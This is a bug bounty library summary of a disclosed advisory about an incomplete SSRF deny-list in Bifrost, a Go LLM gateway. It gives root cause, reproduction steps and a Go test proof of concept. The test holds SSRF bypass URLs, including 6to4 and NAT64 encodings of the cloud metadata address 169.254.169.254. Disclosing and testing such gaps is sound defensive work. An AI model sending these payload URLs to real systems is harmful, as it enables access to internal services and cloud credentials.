# Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL

Bifrost's isPublicIP SSRF deny-list misses CGNAT, IPv6 6to4/NAT64 and site-local ranges, letting client-supplied multimodal URLs reach internal services and IMDS.

- Payout: Research
- Severity: high
- Program: Bifrost
- Found by: tonghuaroot
- Disclosed: 2026-08-28
- CVE: CVE-2026-55245
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w98g-5w9p-p3rc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w98g-5w9p-p3rc
- Tags: area:cloud domain:cloud impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:gcp tech:go technique:source-review vuln:access-control vuln:ssrf

**Target:** Go LLM gateway FetchAndEncodeURL / isPublicIP IP classifier
**Root cause:** isPublicIP relies on netip helpers that only cover RFC1918/4193, loopback and link-local; CGNAT 100.64.0.0/10, 6to4 2002::/16, NAT64 64:ff9b::/96 and 64:ff9b:1::/48, and fec0::/10 are never reduced to embedded IPv4 or matched, so they classify as public.
**Steps:**
1. Locate `isPublicIP` in `core/providers/utils/fetch.go` (lines 107-118), reached via `FetchAndEncodeURL` from Bedrock `utils.go:1073`/`:1187` and Vertex `vertex.go:402` multimodal URL fields.
2. Note `addr.Unmap()` only collapses `::ffff:0:0/96`, and `IsPrivate()` covers only RFC1918 + fc00::/7.
3. Send a chat-completion request with a multimodal image/document URL such as `http://100.64.1.1:9/`, `http://[2002:a9fe:a9fe::]:9/`, `http://[64:ff9b::a9fe:a9fe]:9/`, `http://[64:ff9b:1::a9fe:a9fe]:9/`, or `http://[fec0::1]:9/`.
4. Observe the gate does not return `blocked fetch to non-public address`; the dial proceeds (context deadline exceeded / EOF), while controls `169.254.169.254`, `10.0.0.1`, `127.0.0.1`, `[::ffff:169.254.169.254]` are blocked at the gate.
**How found:** Self-described review of IP-classification deny-lists: compared the Go netip helper coverage (IsPrivate/Unmap) against known routable-but-internal ranges, then drove the real FetchAndEncodeURL with in-package tests distinguishing gate-blocked from dial-attempted outcomes.
**Exploitation:** Any client able to send a Bedrock or Vertex multimodal request supplies a remote image/document URL; SanitizeImageURL only checks scheme and non-empty host, so isPublicIP is the sole guard. On a dual-stack/NAT64 host the 6to4/NAT64 embeddings of 169.254.169.254 reach IMDS; on RFC6598 fabrics CGNAT addresses reach internal services. No live metadata bytes captured in the report.
**Insight:** Go's netip IsPrivate/Unmap only handle RFC1918/4193 and IPv4-mapped forms — any SSRF deny-list built on them silently allows CGNAT 100.64.0.0/10 and IPv6 tunnels (6to4 2002::/16, NAT64 64:ff9b::/96, 64:ff9b:1::/48) that embed 169.254.169.254; always extract and re-classify embedded IPv4 from tunnel prefixes.

## Proof of concept (copied exactly from the original report)

**In-package Go test driving real FetchAndEncodeURL**

```
func TestSSRFGateDecision(t *testing.T) {
	cases := []struct{ name, url string }{
		{"CGNAT-100.64", "http://100.64.1.1:9/"},
		{"CGNAT-100.127", "http://100.127.255.254:9/"},
		{"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
		{"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
		{"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
		{"sitelocal-fec0", "http://[fec0::1]:9/"},
		// controls (must be rejected at the gate):
		{"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
		{"CONTROL-RFC1918", "http://10.0.0.1:9/"},
		{"CONTROL-loopback", "http://127.0.0.1:9/"},
		{"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
	}
	for _, c := range cases {
		ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
		_, _, err := FetchAndEncodeURL(ctx, c.url)
		cancel()
		gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
		fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
	}
}
```

**isPublicIP classification re-check output**

```
100.64.0.1             isPublicIP=true   (CGNAT — should be blocked)
100.127.255.254        isPublicIP=true   (CGNAT)
2002:a9fe:a9fe::       isPublicIP=true   (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -> 169.254.169.254)
fec0::1                isPublicIP=true   (deprecated site-local)
169.254.169.254        isPublicIP=false  (direct IMDS — correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped — correctly blocked, control)
8.8.8.8                isPublicIP=true   (public — correctly allowed, control)
```

